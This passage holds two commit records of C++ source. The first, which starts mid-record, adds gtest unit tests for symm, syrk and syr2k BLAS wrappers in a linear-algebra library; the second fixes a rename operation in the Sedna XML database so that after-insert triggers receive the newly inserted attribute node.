::std::imag(b));\n}\n\ntemplate < typename D >\nD conjg(const D &v) {\n  return v;\n}\ntemplate < typename D >\n::std::complex< D > conjg(const ::std::complex< D > &v) {\n  return ::std::conj(v);\n}\n\ntemplate < typename D >\nclass RandomGenerator {\n public:\n  template < typename G, typename R >\n  D operator()(G *gen, R *dist) {\n    return static_cast< D >((*dist)(*gen));\n  }\n};\n\ntemplate < typename D >\nclass RandomGenerator< ::std::complex< D > > {\n public:\n  template < typename G, typename R >\n  ::std::complex< D > operator()(G *gen, R *dist) {\n    return ::std::complex< D >(\n        static_cast< D >((*dist)(*gen)), static_cast< D >((*dist)(*gen)));\n  }\n};\n\ntemplate < typename D >\nvoid gemmTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int m = 23;\n  const int n = 40;\n  const int k = 32;\n  const int lda = 39;\n  const int ldb = 47;\n  const int ldc = 50;\n  D a[m * lda], b[k * ldb], c[m * ldc], c_orig[m * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < m * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < k * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::gemm(m, n, k, a, b, c, alpha, beta, lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < m; ++i) {\n    for (int j = 0; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += a[i * lda + p] * b[p * ldb + j];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, gemmTest) {\n  gemmTest< double >();\n  gemmTest< float >();\n  gemmTest< ::std::complex< double > >();\n  gemmTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid hemmTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int m = 23;\n  const int n = 40;\n  const int lda = 36;\n  const int ldb = 47;\n  const int ldc = 50;\n  D a[m * lda], b[m * ldb], c[m * ldc], c_orig[m * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < m * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m; ++i) {\n    a[i * lda + i] = ::std::real(a[i * lda + i]);\n  }\n  for (int i = 0; i < m * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::hemm(m, n, a, b, c, alpha, beta, lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < m; ++i) {\n    for (int j = 0; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < i; ++p) {\n        \/\/ Lower: using a(i, p) = conj(a(p, i))\n        result += conjg(a[p * lda + i]) * b[p * ldb + j];\n      }\n      for (int p = i; p < m; ++p) {\n        \/\/ Upper: using a(i, p)\n        result += a[i * lda + p] * b[p * ldb + j];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, hemmTest) {\n  hemmTest< double >();\n  hemmTest< float >();\n  hemmTest< ::std::complex< double > >();\n  hemmTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid herkTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int n = 23;\n  const int k = 15;\n  const int lda = 18;\n  const int ldc = 33;\n  D a[n * lda], c[n * ldc], c_orig[n * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < n * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  for (int i = 0; i < n; ++i) {\n    c[i * ldc + i] = ::std::real(c[i * ldc + i]);\n    c_orig[i * ldc + i] = c[i * ldc + i];\n  }\n  cxxblas::herk(n, k, a, c, ::std::real(alpha), ::std::real(beta), lda, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < n; ++i) {\n    for (int j = i; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += a[i * lda + p] * conjg(a[j * lda + p]);\n      }\n      result = ::std::real(alpha) * result +\n          ::std::real(beta) * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, herkTest) {\n  herkTest< double >();\n  herkTest< float >();\n  herkTest< ::std::complex< double > >();\n  herkTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid her2kTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int n = 23;\n  const int k = 15;\n  const int lda = 18;\n  const int ldb = 25;\n  const int ldc = 33;\n  D a[n * lda], b[n * ldb], c[n * ldc], c_orig[n * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < n * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  for (int i = 0; i < n; ++i) {\n    c[i * ldc + i] = ::std::real(c[i * ldc + i]);\n    c_orig[i * ldc + i] = c[i * ldc + i];\n  }\n  cxxblas::her2k(n, k, a, b, c, alpha, ::std::real(beta), lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < n; ++i) {\n    for (int j = i; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += alpha * a[i * lda + p] * conjg(b[j * ldb + p]) +\n            conjg(alpha) * b[i * ldb + p] * conjg(a[j * lda + p]);\n      }\n      result = result + ::std::real(beta) * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, her2kTest) {\n  her2kTest< double >();\n  her2kTest< float >();\n  her2kTest< ::std::complex< double > >();\n  her2kTest< ::std::complex< float > >();\n}\n\n}  \/\/ namespace\n}  \/\/ namespace linalg\n}  \/\/ namespace thunder\n<commit_msg>Added tests for symm, syrk and syr2k<commit_after>\/*\n * \\copyright Copyright 2015 Xiang Zhang All Rights Reserved.\n * \\license @{\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @}\n *\/\n\n\/* Disclaimer: these tests are not complete. In particular, we do not test the\n * variants of order, transpose, uppper-lower, diagonal and side choices. We\n * always use row-major, no transpose, upper matrix, non-unit diagonal and left\n * side settings.\n *\/\n\n#include <complex>\n#include <cstdlib>\n#include <random>\n\n#include \"gtest\/gtest.h\"\n#include \"thunder\/linalg\/cxxblas.hpp\"\n\nnamespace thunder {\nnamespace linalg {\nnamespace {\n\ntemplate < typename D >\nvoid expectEq(const D &a, const D &b) {\n  EXPECT_FLOAT_EQ(a, b);\n}\ntemplate < typename D >\nvoid expectEq(const ::std::complex< D > &a, const ::std::complex< D > &b) {\n  EXPECT_FLOAT_EQ(::std::real(a), ::std::real(b));\n  EXPECT_FLOAT_EQ(::std::imag(a), ::std::imag(b));\n}\n\ntemplate < typename D >\nD conjg(const D &v) {\n  return v;\n}\ntemplate < typename D >\n::std::complex< D > conjg(const ::std::complex< D > &v) {\n  return ::std::conj(v);\n}\n\ntemplate < typename D >\nclass RandomGenerator {\n public:\n  template < typename G, typename R >\n  D operator()(G *gen, R *dist) {\n    return static_cast< D >((*dist)(*gen));\n  }\n};\n\ntemplate < typename D >\nclass RandomGenerator< ::std::complex< D > > {\n public:\n  template < typename G, typename R >\n  ::std::complex< D > operator()(G *gen, R *dist) {\n    return ::std::complex< D >(\n        static_cast< D >((*dist)(*gen)), static_cast< D >((*dist)(*gen)));\n  }\n};\n\ntemplate < typename D >\nvoid gemmTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int m = 23;\n  const int n = 40;\n  const int k = 32;\n  const int lda = 39;\n  const int ldb = 47;\n  const int ldc = 50;\n  D a[m * lda], b[k * ldb], c[m * ldc], c_orig[m * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < m * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < k * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::gemm(m, n, k, a, b, c, alpha, beta, lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < m; ++i) {\n    for (int j = 0; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += a[i * lda + p] * b[p * ldb + j];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, gemmTest) {\n  gemmTest< double >();\n  gemmTest< float >();\n  gemmTest< ::std::complex< double > >();\n  gemmTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid hemmTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int m = 23;\n  const int n = 40;\n  const int lda = 36;\n  const int ldb = 47;\n  const int ldc = 50;\n  D a[m * lda], b[m * ldb], c[m * ldc], c_orig[m * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < m * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m; ++i) {\n    a[i * lda + i] = ::std::real(a[i * lda + i]);\n  }\n  for (int i = 0; i < m * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::hemm(m, n, a, b, c, alpha, beta, lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < m; ++i) {\n    for (int j = 0; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < i; ++p) {\n        \/\/ Lower: using a(i, p) = conj(a(p, i))\n        result += conjg(a[p * lda + i]) * b[p * ldb + j];\n      }\n      for (int p = i; p < m; ++p) {\n        \/\/ Upper: using a(i, p)\n        result += a[i * lda + p] * b[p * ldb + j];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, hemmTest) {\n  hemmTest< double >();\n  hemmTest< float >();\n  hemmTest< ::std::complex< double > >();\n  hemmTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid herkTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int n = 23;\n  const int k = 15;\n  const int lda = 18;\n  const int ldc = 33;\n  D a[n * lda], c[n * ldc], c_orig[n * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < n * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  for (int i = 0; i < n; ++i) {\n    c[i * ldc + i] = ::std::real(c[i * ldc + i]);\n    c_orig[i * ldc + i] = c[i * ldc + i];\n  }\n  cxxblas::herk(n, k, a, c, ::std::real(alpha), ::std::real(beta), lda, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < n; ++i) {\n    for (int j = i; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += a[i * lda + p] * conjg(a[j * lda + p]);\n      }\n      result = ::std::real(alpha) * result +\n          ::std::real(beta) * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, herkTest) {\n  herkTest< double >();\n  herkTest< float >();\n  herkTest< ::std::complex< double > >();\n  herkTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid her2kTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int n = 23;\n  const int k = 15;\n  const int lda = 18;\n  const int ldb = 25;\n  const int ldc = 33;\n  D a[n * lda], b[n * ldb], c[n * ldc], c_orig[n * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < n * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  for (int i = 0; i < n; ++i) {\n    c[i * ldc + i] = ::std::real(c[i * ldc + i]);\n    c_orig[i * ldc + i] = c[i * ldc + i];\n  }\n  cxxblas::her2k(n, k, a, b, c, alpha, ::std::real(beta), lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < n; ++i) {\n    for (int j = i; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += alpha * a[i * lda + p] * conjg(b[j * ldb + p]) +\n            conjg(alpha) * b[i * ldb + p] * conjg(a[j * lda + p]);\n      }\n      result = result + ::std::real(beta) * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, her2kTest) {\n  her2kTest< double >();\n  her2kTest< float >();\n  her2kTest< ::std::complex< double > >();\n  her2kTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid symmTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int m = 23;\n  const int n = 40;\n  const int lda = 36;\n  const int ldb = 47;\n  const int ldc = 50;\n  D a[m * lda], b[m * ldb], c[m * ldc], c_orig[m * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < m * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < m * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::symm(m, n, a, b, c, alpha, beta, lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < m; ++i) {\n    for (int j = 0; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < i; ++p) {\n        \/\/ Lower: using a(i, p) = a(p, i)\n        result += a[p * lda + i] * b[p * ldb + j];\n      }\n      for (int p = i; p < m; ++p) {\n        \/\/ Upper: using a(i, p)\n        result += a[i * lda + p] * b[p * ldb + j];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, symmTest) {\n  symmTest< double >();\n  symmTest< float >();\n  symmTest< ::std::complex< double > >();\n  symmTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid syrkTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int n = 23;\n  const int k = 15;\n  const int lda = 18;\n  const int ldc = 33;\n  D a[n * lda], c[n * ldc], c_orig[n * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < n * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::syrk(n, k, a, c, alpha, beta, lda, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < n; ++i) {\n    for (int j = i; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += a[i * lda + p] * a[j * lda + p];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, syrkTest) {\n  syrkTest< double >();\n  syrkTest< float >();\n  syrkTest< ::std::complex< double > >();\n  syrkTest< ::std::complex< float > >();\n}\n\ntemplate < typename D >\nvoid syr2kTest() {\n  ::std::random_device rd;\n  ::std::mt19937 gen(rd());\n  ::std::uniform_real_distribution< double > dist(-1.0, 1.0);\n  RandomGenerator< D > rand;\n\n  const int n = 23;\n  const int k = 15;\n  const int lda = 18;\n  const int ldb = 25;\n  const int ldc = 33;\n  D a[n * lda], b[n * ldb], c[n * ldc], c_orig[n * ldc];\n  D alpha = rand(&gen, &dist);\n  D beta = rand(&gen, &dist);\n  for (int i = 0; i < n * lda; ++i) {\n    a[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldb; ++i) {\n    b[i] = rand(&gen, &dist);\n  }\n  for (int i = 0; i < n * ldc; ++i) {\n    c[i] = rand(&gen, &dist);\n    c_orig[i] = c[i];\n  }\n  cxxblas::syr2k(n, k, a, b, c, alpha, beta, lda, ldb, ldc);\n\n  D result = 0.0;\n  for (int i = 0; i < n; ++i) {\n    for (int j = i; j < n; ++j) {\n      result = 0.0;\n      for (int p = 0; p < k; ++p) {\n        result += a[i * lda + p] * b[j * ldb + p] +\n            b[i * ldb + p] * a[j * lda + p];\n      }\n      result = alpha * result + beta * c_orig[i * ldc + j];\n      expectEq(result, c[i * ldc + j]);\n    }\n  }\n}\n\nTEST(CxxBlasTest, syr2kTest) {\n  syr2kTest< double >();\n  syr2kTest< float >();\n  syr2kTest< ::std::complex< double > >();\n  syr2kTest< ::std::complex< float > >();\n}\n\n}  \/\/ namespace\n}  \/\/ namespace linalg\n}  \/\/ namespace thunder\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * File:  other_updates.cpp\n * Copyright (C) 2004 The Institute for System Programming of the Russian Academy of Sciences (ISP RAS)\n *\/\n\n#include \"common\/sedna.h\"\n\n#include \"tr\/updates\/updates.h\"\n#include \"tr\/executor\/base\/xptr_sequence.h\"\n#include \"tr\/mo\/micro.h\"\n#include \"tr\/auth\/auc.h\"\n#ifdef SE_ENABLE_TRIGGERS\n#include \"tr\/triggers\/triggers.h\"\n#endif\n\/\/ Rename operation\nvoid rename(PPOpIn arg,const char* name)\n{\n\t\/\/ Creating the first sequence (different validity tests+ indirection deref)\n\ttuple t(arg.ts);\n\txptr_sequence argseq;\n\targ.op->next(t);\n\twhile (!t.is_eos())\n\t{\n\t\tif (t.cells[0].is_node())\n\t\t{\n\t\t\txptr node=t.cells[0].get_node();\n\t\t\tCHECKP(node);\n\t\t\tif (is_node_persistent(node)&& (is_node_element(node)||is_node_attribute(node)) ) \n\t\t\t{\n\t\t\t\t\/\/xptr indir=((n_dsc*)XADDR(node))->indir;\n\t\t\t\targseq.add(node);\t\n\t\t\t}\n#ifndef IGNORE_UPDATE_ERRORS\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow USER_EXCEPTION(SE2020);\n\t\t\t}\n#endif\n\t\t}\n#ifndef IGNORE_UPDATE_ERRORS\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow USER_EXCEPTION(SE2021);\n\t\t\t}\n#endif\n\t\targ.op->next(t);\n\t}\n\t\n\tif (argseq.size()<=0) return;\n\t\/\/ Checking authorization\n\tif (is_auth_check_needed(RENAME_STATEMENT)) \n\t\tauth_for_update(&argseq, RENAME_STATEMENT, false);\n\t\/\/Sort in document order\n\targseq.sort();\n\t\/\/changing to indirection\n\txptr_sequence::iterator it=argseq.begin();\n    xptr res;\n\twhile (it!=argseq.end())\n\t{\n\t\txptr node=*it;\n\t\tCHECKP(node);\n\t\targseq.set(((n_dsc*)XADDR(node))->indir,it);\n\t\t++it;\n\t}\n\tit=argseq.end();\n#ifdef SE_ENABLE_FTSEARCH\n\tclear_ft_sequences();\n#endif\n\tdo\n\t{\n\t\t--it;\n\t\txptr indir=*it;\n\t\txptr node=removeIndirection(indir);\n\t\tCHECKP(node);\n\t\tt_item type=GETTYPE((GETBLOCKBYNODE(node))->snode);\n\t\tn_dsc* desc=(n_dsc*)XADDR(node);\n\t\txptr left=node;\n\t\txptr parent=removeIndirection(desc->pdsc);\n\t\tCHECKP(node);\n#ifdef SE_ENABLE_TRIGGERS\n\/\/ add here triggers on RENAME !!!\n\/\/        if (apply_per_node_triggers(XNULL, XNULL, parent, TRIGGER_BEFORE, TRIGGER_INSERT_EVENT, name, type) == XNULL)\n\/\/    \t\treturn;\n\/\/        if (apply_per_node_triggers(XNULL, node, parent, TRIGGER_BEFORE, TRIGGER_DELETE_EVENT) == XNULL)\n\/\/    \t\treturn;\n#endif\n        \n\t\tswitch(type)\n\t\t{\n\t\tcase attribute:\n\t\t\t{\n\t\t\t\t\/\/1. insert\n\t\t\t\tint size=((a_dsc*)desc)->size;\n\t\t\t\tif (size>0)\n\t\t\t\t{\n\t\t\t\t\tchar *z=se_new char[size];\n\t\t\t\t\txptr ind_ptr=((a_dsc*)desc)->data;\n\t\t\t\t\tCHECKP(ind_ptr);\n\t\t\t\t\tshft shift= *((shft*)XADDR(ind_ptr));\n\t\t\t\t\tchar* data=(char*)XADDR(BLOCKXPTR(ind_ptr))+shift;\n\t\t\t\t\tmemcpy(z,data,size);\n\t\t\t\t\tinsert_attribute(left, XNULL, parent,name, ((a_dsc*)desc)->type,z,size,NULL);\n\t\t\t\t\tdelete z;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tinsert_attribute(left, XNULL, parent,name, ((a_dsc*)desc)->type,NULL,0,NULL);\n\t\t\t\t\/\/2. delete\n\t\t\t\tCHECKP(indir);\n\t\t\t\tdelete_node(*((xptr*)XADDR(indir)));\n\t\t\t\tbreak;\n\t\t\t}\n\t\tcase element:\n\t\t\t{\n\t\t\t\t\/\/1.INSERT\n\t\t\t\tres=insert_element(left, XNULL, parent,name,((e_dsc*)desc)->type,NULL);\n\t\t\t\tCHECKP(indir);\n\t\t\t\tcopy_content(res,*((xptr*)XADDR(indir)),XNULL);\n\t\t\t\t\/\/2.DELETE\n\t\t\t\tCHECKP(indir);\n\t\t\t\tdelete_node(*((xptr*)XADDR(indir)));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n#ifdef SE_ENABLE_TRIGGERS\n        apply_per_node_triggers(res, XNULL, parent, NULL, TRIGGER_AFTER, TRIGGER_INSERT_EVENT);\n#endif\n\t\tif (it==argseq.begin()) break;\n\t}\n\twhile (true);\n#ifdef SE_ENABLE_FTSEARCH\n\texecute_modifications();\n#endif\n}<commit_msg>upd-fix-2<commit_after>\/*\n * File:  other_updates.cpp\n * Copyright (C) 2004 The Institute for System Programming of the Russian Academy of Sciences (ISP RAS)\n *\/\n\n#include \"common\/sedna.h\"\n\n#include \"tr\/updates\/updates.h\"\n#include \"tr\/executor\/base\/xptr_sequence.h\"\n#include \"tr\/mo\/micro.h\"\n#include \"tr\/auth\/auc.h\"\n#ifdef SE_ENABLE_TRIGGERS\n#include \"tr\/triggers\/triggers.h\"\n#endif\n\/\/ Rename operation\nvoid rename(PPOpIn arg,const char* name)\n{\n\t\/\/ Creating the first sequence (different validity tests+ indirection deref)\n\ttuple t(arg.ts);\n\txptr_sequence argseq;\n\targ.op->next(t);\n\twhile (!t.is_eos())\n\t{\n\t\tif (t.cells[0].is_node())\n\t\t{\n\t\t\txptr node=t.cells[0].get_node();\n\t\t\tCHECKP(node);\n\t\t\tif (is_node_persistent(node)&& (is_node_element(node)||is_node_attribute(node)) ) \n\t\t\t{\n\t\t\t\t\/\/xptr indir=((n_dsc*)XADDR(node))->indir;\n\t\t\t\targseq.add(node);\t\n\t\t\t}\n#ifndef IGNORE_UPDATE_ERRORS\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow USER_EXCEPTION(SE2020);\n\t\t\t}\n#endif\n\t\t}\n#ifndef IGNORE_UPDATE_ERRORS\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow USER_EXCEPTION(SE2021);\n\t\t\t}\n#endif\n\t\targ.op->next(t);\n\t}\n\t\n\tif (argseq.size()<=0) return;\n\t\/\/ Checking authorization\n\tif (is_auth_check_needed(RENAME_STATEMENT)) \n\t\tauth_for_update(&argseq, RENAME_STATEMENT, false);\n\t\/\/Sort in document order\n\targseq.sort();\n\t\/\/changing to indirection\n\txptr_sequence::iterator it=argseq.begin();\n    xptr res;\n\twhile (it!=argseq.end())\n\t{\n\t\txptr node=*it;\n\t\tCHECKP(node);\n\t\targseq.set(((n_dsc*)XADDR(node))->indir,it);\n\t\t++it;\n\t}\n\tit=argseq.end();\n#ifdef SE_ENABLE_FTSEARCH\n\tclear_ft_sequences();\n#endif\n\tdo\n\t{\n\t\t--it;\n\t\txptr indir=*it;\n\t\txptr node=removeIndirection(indir);\n\t\tCHECKP(node);\n\t\tt_item type=GETTYPE((GETBLOCKBYNODE(node))->snode);\n\t\tn_dsc* desc=(n_dsc*)XADDR(node);\n\t\txptr left=node;\n\t\txptr parent=removeIndirection(desc->pdsc);\n\t\tCHECKP(node);\n#ifdef SE_ENABLE_TRIGGERS\n\/\/ add here triggers on RENAME !!!\n\/\/        if (apply_per_node_triggers(XNULL, XNULL, parent, TRIGGER_BEFORE, TRIGGER_INSERT_EVENT, name, type) == XNULL)\n\/\/    \t\treturn;\n\/\/        if (apply_per_node_triggers(XNULL, node, parent, TRIGGER_BEFORE, TRIGGER_DELETE_EVENT) == XNULL)\n\/\/    \t\treturn;\n#endif\n        \n\t\tswitch(type)\n\t\t{\n\t\tcase attribute:\n\t\t\t{\n\t\t\t\t\/\/1. insert\n\t\t\t\tint size=((a_dsc*)desc)->size;\n\t\t\t\tif (size>0)\n\t\t\t\t{\n\t\t\t\t\tchar *z=se_new char[size];\n\t\t\t\t\txptr ind_ptr=((a_dsc*)desc)->data;\n\t\t\t\t\tCHECKP(ind_ptr);\n\t\t\t\t\tshft shift= *((shft*)XADDR(ind_ptr));\n\t\t\t\t\tchar* data=(char*)XADDR(BLOCKXPTR(ind_ptr))+shift;\n\t\t\t\t\tmemcpy(z,data,size);\n\t\t\t\t\tres=insert_attribute(left, XNULL, parent,name, ((a_dsc*)desc)->type,z,size,NULL);\n\t\t\t\t\tdelete z;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tres=insert_attribute(left, XNULL, parent,name, ((a_dsc*)desc)->type,NULL,0,NULL);\n\t\t\t\t\/\/2. delete\n\t\t\t\tCHECKP(indir);\n\t\t\t\tdelete_node(*((xptr*)XADDR(indir)));\n\t\t\t\tbreak;\n\t\t\t}\n\t\tcase element:\n\t\t\t{\n\t\t\t\t\/\/1.INSERT\n\t\t\t\tres=insert_element(left, XNULL, parent,name,((e_dsc*)desc)->type,NULL);\n\t\t\t\tCHECKP(indir);\n\t\t\t\tcopy_content(res,*((xptr*)XADDR(indir)),XNULL);\n\t\t\t\t\/\/2.DELETE\n\t\t\t\tCHECKP(indir);\n\t\t\t\tdelete_node(*((xptr*)XADDR(indir)));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n#ifdef SE_ENABLE_TRIGGERS\n        apply_per_node_triggers(res, XNULL, parent, NULL, TRIGGER_AFTER, TRIGGER_INSERT_EVENT);\n#endif\n\t\tif (it==argseq.begin()) break;\n\t}\n\twhile (true);\n#ifdef SE_ENABLE_FTSEARCH\n\texecute_modifications();\n#endif\n}<|endoftext|>"}
